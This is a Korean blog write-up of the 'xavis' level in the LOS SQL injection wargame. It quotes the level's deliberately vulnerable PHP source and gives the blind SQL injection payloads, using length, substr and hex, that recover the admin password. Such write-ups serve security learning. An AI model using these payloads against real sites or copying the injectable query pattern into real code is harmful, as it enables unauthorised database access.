<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis");
highlight_file(__FILE__);
?>
pw 찾아주는 문제다.
. () regex prob like 같은 문자들이 필터링 당하고 있다.
일단 값을 찾아야 하기 때문에 python 코드를 이용해서 짜 보도록 하자.
파이썬 파일은 이전에 썼던 걸 활용할 것이고 기본적인 쿼리만 논해보도록 하자.
?pw=%27or%20length(pw)>11%23
이때 admin의 문자열 길이는 12 다.
각 자리의 문자를 찾아보자.
?pw='or ascii(substr(pw,1,1))>0%23
음 자릿수가 다 0이다. 뭔가 이상해서 hex 로 구하기로 했다.
?pw=;or ascii(substr(hex(pw),1,1))=0%23
0000C6B00000C6550000AD73
Æ°ÆUs
안되는데, utf-8로 해보자
0000C6B00000C6550000AD73
음 찾아보니까 한글이었다…. python 내에서 확인함.
-> 우왕굳
비밀번호가 한글인 건 처음이였다. 다양하게 봐야겠네,,,
'WriteUp > LOS_rubiya' 카테고리의 다른 글
LOS-rubiya : iron_golem (0) | 2020.08.26 |
---|---|
LOS-rubiya : dragon (0) | 2020.08.26 |
LOS-rubiya : nightmare (0) | 2020.08.03 |
LOS-rubiya : Zombie_assassin (0) | 2020.08.03 |
LOS-rubiya : Succubus (0) | 2020.08.03 |